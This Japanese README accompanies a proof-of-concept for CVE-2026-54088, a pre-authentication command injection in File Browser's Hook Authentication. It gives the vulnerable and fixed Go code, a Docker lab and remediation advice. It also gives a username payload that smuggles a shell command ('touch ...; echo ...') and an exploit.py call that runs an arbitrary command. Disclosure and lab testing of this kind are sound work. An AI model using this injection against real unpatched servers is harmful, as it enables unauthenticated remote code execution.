
CVE-2026-54088の概念実証エクスプロイト。File Browser <=2.63.5の認証前OSコマンドインジェクションです。Hook Authenticationを介したシェルインジェクションを示し、リモートコード実行を達成します。
このリポジトリは、File Browser のバージョン <= 2.63.5 に存在する重大な OS コマンドインジェクション脆弱性 CVE-2026-54088 の Proof of Concept (PoC) です。
この脆弱性は Hook Authentication 機能に存在します。管理者が外部コマンドでユーザー認証を行うよう File Browser を設定している場合、ログイン時に送信された username と password が、エスケープされないまま os.Expand() によって設定済みコマンド文字列へ展開されます。未認証のリモート攻撃者は、ログインリクエスト経由でシェル構文を注入し、認証が成功する前に任意のコマンドを実行できます。
発見者: saku0512 (https://github.com/Saku0512)
このプロジェクトは、教育目的および倫理的なセキュリティテストのみを目的としています。
このツールの悪用、損害、違法行為について、作者は一切の責任を負いません。コンピューターシステムへの不正アクセスは違法です。明示的な許可を得ている環境でのみ、このソフトウェアを使用してください。
<= 2.63.52.63.6auth/hook.goHookAuth.RunCommandHookAuth.RunCommand() は、設定された認証コマンドを分割し、攻撃者が制御できるリクエストデータを使って認証情報のプレースホルダーを展開します。
envMapping := func(key string) string {
switch key {
case "USERNAME":
return a.Cred.Username
case "PASSWORD":
return a.Cred.Password
default:
return os.Getenv(key)
}
}
for i, arg := range command {
if i == 0 {
continue
}
command[i] = os.Expand(arg, envMapping)
}
hook コマンドが次のように設定されている場合:
sh -c $USERNAME
攻撃者が次のような username を送信すると:
touch /tmp/fb_hook_auth_pwned; echo hook.action=block
ログイン試行中に、サーバーは攻撃者が制御するシェルスクリプトを実行します。有効なアカウントやパスワードは不要です。
この問題は、commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f で、hook コマンド文字列から認証情報の置換処理を削除することにより修正されました。hook コマンドは設定された内容のまま実行され、認証情報は環境変数としてのみ渡されます。
command := strings.Split(a.Command, " ")
cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))
削除された脆弱な処理は、exec.Command() が呼び出される前に、攻撃者が制御する認証情報でコマンド引数を書き換える os.Expand() ループです。この修正では、注入された認証情報によって hook コマンドを改変できないこと、および USERNAME / PASSWORD が引き続き環境変数経由で hook から利用できることを確認する回帰テストも追加されています。
脆弱な File Browser 環境を起動します。filebrowser-init サービスがデータベースを作成し、脆弱なコマンドを使って Hook Authentication を有効化します。
docker compose up -d
ターゲットは次の URL で利用できます。
http://localhost:8080
このディレクトリから exploit スクリプトを実行します。
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"
この exploit は、/api/login に未認証のログインリクエストを 1 回送信します。認証は失敗する想定ですが、その前に注入されたコマンドが実行されます。
ブラウザで File Browser のログイン画面を開きます。
http://localhost:8080
ログインフォームに次の値を入力して、ログインボタンをクリックします。
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything
ログインは失敗しますが、Hook Authentication のコマンド実行は認証結果が返る前に行われます。次のコマンドで、GUI 操作によってコンテナ内にマーカーファイルが作成されたことを確認します。
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned
ファイルが存在すれば、GUI のログイン操作からも認証前 RCE が発生したことを確認できます。
File Browser コンテナ内でコマンドが実行されたことを確認します。
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned
ファイルが存在すれば、認証前 RCE が確認できます。
docker compose down -v
File Browser を バージョン 2.63.6 以降へアップデートしてください。
認証情報は shell コマンド文字列に埋め込まず、環境変数としてのみ hook コマンドへ渡すべきです。その他のコマンド実行パスについても、shell 評価を避けるか、厳密な引数分離とエスケープを行う必要があります。